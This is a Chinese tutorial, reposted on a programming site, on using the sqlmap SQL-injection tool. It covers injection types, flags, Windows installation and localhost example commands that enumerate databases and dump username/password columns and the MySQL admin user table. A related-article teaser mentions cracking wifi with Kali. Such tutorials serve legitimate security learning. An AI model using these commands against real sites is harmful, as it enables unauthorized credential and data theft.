sqlmap的使用详细讲解

news2024/12/26 21:03:19

一、sqlmap介绍


  简介:是一个自动化的sql注入工具,主要功能扫描、发现并利用给定的
        url的sql注入漏洞,内置了很多插件
  sqlmap支持的数据库: MySQL、oracle、sql-server、DB2....
  注意:sqlmap只用来检测和sql注入,不能扫描网站的漏洞
sqlmap使用的sql注入方式:
    1、基于布尔类型盲注:可以根据页面的返回判断条件真假的注入
    2、基于时间的盲注;根据页面返回内容判断,延迟时间是否执行
    3、基于报错注入:根据页面返回的错误信息
    4、联合查询注入:根据使用的union的情况下注入

sqlmap的简单使用:
  -u  url:  检测的注入点
  --dbs:   列出所有数据库的名称
  --current-db: 列出当前的数据库名称
  -D:   指定的一个数据库
  --tables:  列出数据库表名称
  -T:   指定的一个表名称
  --columns: 列出所有的字段名
  -C:    指定字段
  --dump:  列出字段的内容
  --users: 获取数据所有的用户信息

安装sqlmap:


  1、安装Python2.7 ,新建一个目录:python2.7
  2、双击Python安装包,安装到python2.7目录
  3、将python2.7添加环境变量
  4、解压sqlmap1.5压缩包到D盘:d:/sqlmap
  5、win+R 输入cmd 进入到D盘
        C:\Users\xiaolin>d:
        D:\>cd sqlmap
        D:\sqlmap>sqlmap.py  回车,如果出现sqlmap图标说明成功


           
二、使用sqlmap


 1、获取数据库的所有数据库名称
 sqlmap.py  sqlmap -u http://127.0.0.1/xxx --dbs
 2、获取当前的数据库名称
 sqlmap.py  sqlmap -u http://127.0.0.1/xx --current-db
    获取到的数据库名称: news
 3、获取当前的数据库news所有表名称
 sqlmap.py  sqlmap -u http://127.0.0.1/xx -D news --tables
 4、获取当前的数据库news下news_users表所有字段名称
 sqlmap.py  sqlmap -u http://127.0.0.1/nxxx -D news -T news_users --columns
 5、获取news库下的news_users表的数据
 sqlmap.py  sqlmap -u http://127.0.0.1/nxxx -D news -T news_users -C username,password --dump

 

 

 

 

获取MySQL数据库管理员信息: 
sqlmap.py  sqlmap -u http://127.0.0.1/nxx -D mysql -T  user --dump
 
sqlmap.py  sqlmap -u http://127.0.0.1/xx -D  information_schema  -T tables -C TABLE_NAME,TABLE_SCHEMA --dump
 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/583201.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

用户需求调研的6大注意事项

1、调研目标要清晰具体 调研目标需明确、清晰、具体,只有这样,才能确保在样本选择和问卷设置时,具有明确的目标性和针对性。 2、调研用户精细化梳理 由于用户间存在个体差异,如果只是随机选取部分用户作为调研样本的话&#xff0c…

Tcl-9. string 命令

字符串是 Tcl 中的基本数据类型,所以有大量的字符串操作命令。一个比较重要的问题就是 模式匹配,通过模式匹配将字符串与指定的模式(格式)相匹配来进行字符串的比较、搜索等 操作。下面string 命令提供了一些简单的模式匹配机制。…

MSP432学习笔记9:定时器A-----捕获

今日得以继续我的MSP432电赛速通之旅~~~ 目录 基础知识: 相关库函数: 一般配置步骤: 首先定义一个初始化函数: 1.复用引脚: 2.配置连续计数结构体: 3.初始化定时器连续计数: 4.配置捕获结构体: 5.初始化定时器为捕获: …

缺少vcruntime140.dll如何修复?电脑小白也能学会修复vcruntime140.dll教程

Vcruntime140.dll是一个用于微软的Visual C软件的动态链接库文件,DLL的全称是动态连接库(Dynamic Link Library),它是许多不同软件中所共用的文件类型。这个文件被广泛用作其他软件的依赖库(dependency)。每当您尝试运行一个应用程…

大体量数据迁移成难题,亚马逊云科技如何让迁移能效两不误

逼真的人物设定,精美的主题布局,沉浸式的互动体验,交互式的多元场景……一系列虚拟与现实高度契合又相互映射的设定,成就了“元宇宙”游戏世界的无穷魅力。GVERSE开发的Blockman Go平台就是有着相当大体量的UGC(用户生…

优秀的开源测试工具和框架推荐:精选十大神器!

目录 引言 Katalon Studio Selenium Appium JMeter SOAP UI Robot Framework Watir JUnit Robotium Citrus 结语 引言 你是一位测试从业者,时刻关注着最新的测试工具和框架。但在众多的选择面前,你是否感到困惑和无从下手? 别担…

Android音视频开发1:Android Studio安装

1.JDK安装,至少安装JAVA 1.7 对比项目 Android iOS 开发语言 Java Objective-c,Swift 系统开放性 Android源代码开放,开放性更好 封闭操作系统,开放性较差 系统安全性 源代码开放,安全性较差 封闭操作系统&…

电力电子课设|数控产生PWM波|使用51单片机输出占空比可调PWM波(按钮控制、数码管显示)速成教程

我们学校电气专业开始做电力电子的课设了,小组选了一项制作硬件电路的任务,里面有要求采用数控方式实现DC-DC电压变换的输出电压调节,数控在电路中的体现就是用单片机输出可调占空比的PWM作用于IRF520模块,实现电压的变化&#xf…

chatgpt赋能python:Python不等于0:为什么Python成为SEO的热门选择?

Python不等于0:为什么Python成为SEO的热门选择? 如果你正在寻找一门适合SEO的编程语言,Python可能就是你的不二选择。Python在SEO行业越来越流行,因为它具有许多与SEO相关的功能和特点。通过本文,我们将会介绍Python为…

Flutter调优--深入探究MediaQuery引起界面Rebuild的原因及解决办法 | 京东云技术团队

前言 我们可以通过MediaQuery.of(context)方法获取到一些设备和系统的相关信息,比如状态栏的高度、当前是否是黑暗模式等等,使用起来相当方便,但是也要注意可能引起的页面rebuild问题。本文会介绍一个典型的例子,并深入源码来探讨…

chatgpt赋能python:用Python下载MP3的方法

用Python下载MP3的方法 如果你想从互联网上下载MP3,那么你可以使用Python来实现这个任务。在本文中,我们将介绍如何用Python编写程序来下载MP3,同时还将分享一些有用的工具和资源。 Python中使用的库 要下载MP3,你需要使用Pyth…

接口测试简介以及接口测试用例设计思路

接口测试简介 1.什么是接口 接口就是内部模块对模块,外部系统对其他服务提供的一种可调用或者连接的能力的标准,就好比usb接口,他是系统向外接提供的一种用于物理数据传输的一个接口,当然仅仅是一个接口是不能进行传输的&#x…

如何快速入门高性能计算?五个实用学习建议分享

高性能计算 (High-Performance Computing,HPC)是指通过计算机技术实现高速运算,对大规模科学计算、数据分析、复杂制造等领域的研究与应用提供支撑。目前,HPC已经广泛应用于医学、天文、材料科学、地球科学、气象科学、…

【cmake 学习】cmake判断当前所处系统(CMAKE_SYSTEM_NAME)

目录 1、使用内置变量判断 2、使用变量 CMAKE_SYSTEM_NAME 判断 1、使用内置变量判断 cmake 内置了许多用于表示系统的变量,如 UNIX、WIN32、LINUX、IOS等。假设当前系统为Linux系统,那么 LINUX 变量的值为 1。 更多变量可以参考:cmake-v…

最近距离 | EXCEL中批量查找与原点最近距离的目标点

一 需求 企业送餐、物流、通勤、选址等经常会遇到这样的需求,仓储地是固定的,客户下单后由于客户的地址具有随机性,需按照地理位置分布结合仓储位置进行分析,按距离近及远合理分配仓储,以便节省配送成本。 本文就以这…

深度学习AI编译器-MLIR简介

1、什么是MLIR MLIR:Multi-Level Intermediate Representation 多级中间表达 LLVM下的子项目编译器基础框架统一IR格式,提高通用性和可复用性自带Tensor类型,目前主要用于深度学习领域 中间表达 IR(Intermediate Representatio…

Day55【动态规划】392.判断子序列、115.不同的子序列

392.判断子序列 力扣题目链接/文章讲解 视频讲解 本题目可以用双指针法来做 class Solution { public:bool isSubsequence(string s, string t) {// pointer to s, pointer to tint ps 0, pt 0; for (pt 0; pt < t.size(); pt) { // 遍历t&#xff0c;在t中按顺序寻找…

Kali-linux Gerix Wifi Cracker破解无线网络

Gerix Wifi Cracker是另一个aircrack图形用户界面的无线网络破解工具。本节将介绍使用该工具破解无线网络及创建假的接入点。 9.3.1 Gerix破解WEP加密的无线网络 在前面介绍了手动使用Aircrack-ng破解WEP和WPA/WPA2加密的无线网络。为了方便&#xff0c;本小节将介绍使用Geri…

数字图像处理①基于ADMM的全变分去噪算法

文章目录 1. Problem2. 仿真结果3. MATLAB算法4. 源码地址参考文献 1. Problem 在图像处理中&#xff0c;图像信号总会因为各种原因受到噪声的干扰&#xff0c;其中高斯噪声就是典型的干扰类型之一。 针对图像去噪的模型有很多种&#xff0c;其中全变分模型被认为是最有效的模…

北醒Modbus协议在Python下实现功能配置

目录 实验目的测试环境Python库需求Benewake(北醒) TF雷达接口及通讯协议说明接口定义Modbus通信协议说明功能码说明 接线示意图库安装说明例程运行与测试 实验目的 实现485接口系列雷达Modbus协议在Python上实现功能配置。 本例程界面分为主菜单、测距子菜单、配置子菜单&…